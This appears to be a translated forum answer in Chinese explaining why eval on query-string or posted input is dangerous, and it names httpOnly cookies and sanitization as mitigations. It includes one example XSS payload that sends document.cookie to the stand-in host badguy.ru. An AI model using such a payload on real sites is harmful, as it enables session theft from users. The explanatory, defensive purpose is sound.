无论如何,最终用户都可以通过浏览器的开发人员控制台轻松执行任意 JavaScript,这是对的(我一直都这样做)。您需要担心的是攻击者会劫持您eval用于自己目的的功能。
原因eval通常被认为是危险的,因为不受信任的代码很容易潜入。考虑一个允许您通过查询字符串指定输入的页面,其中输入框预先填充了查询字符串中的值。
攻击者可以传播包含窃取用户登录 cookie 的代码的链接:
/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;
(显然需要正确的 URL 编码;这是为了说明。)
或者,当验证失败时,您的 PHP 脚本可能会将发布的数据回显到您的表单中。攻击者可以创建一个特制的表单,使用相同的 cookie 窃取代码发布到您的表单。
这些攻击中的每一种都可以通过使用httpOnlycookie(以防止被盗登录 cookie)或确保数据经过清理来减轻- 但关键是这甚至与事情可能出错的详尽列表相去甚远。例如,注入的脚本仍然可以在金额字段中插入 1000 并尝试将该金额转入攻击者的帐户(如果这是汇款页面)。
即使考虑到您使用正则表达式来清理输入的事实也不一定能保护您:完全可以用括号编写任意 JavaScript !
所以最重要的是,如果你能绝对确保输入进入你的文本字段的唯一方式是通过用户输入,你就没事:用户没有获得任何他们无法做到的事情通过控制台。但是,如果攻击者可以以某种方式将他们自己的数据带入该字段,eval则可能会使您暴露在漏洞中。
也可以看看: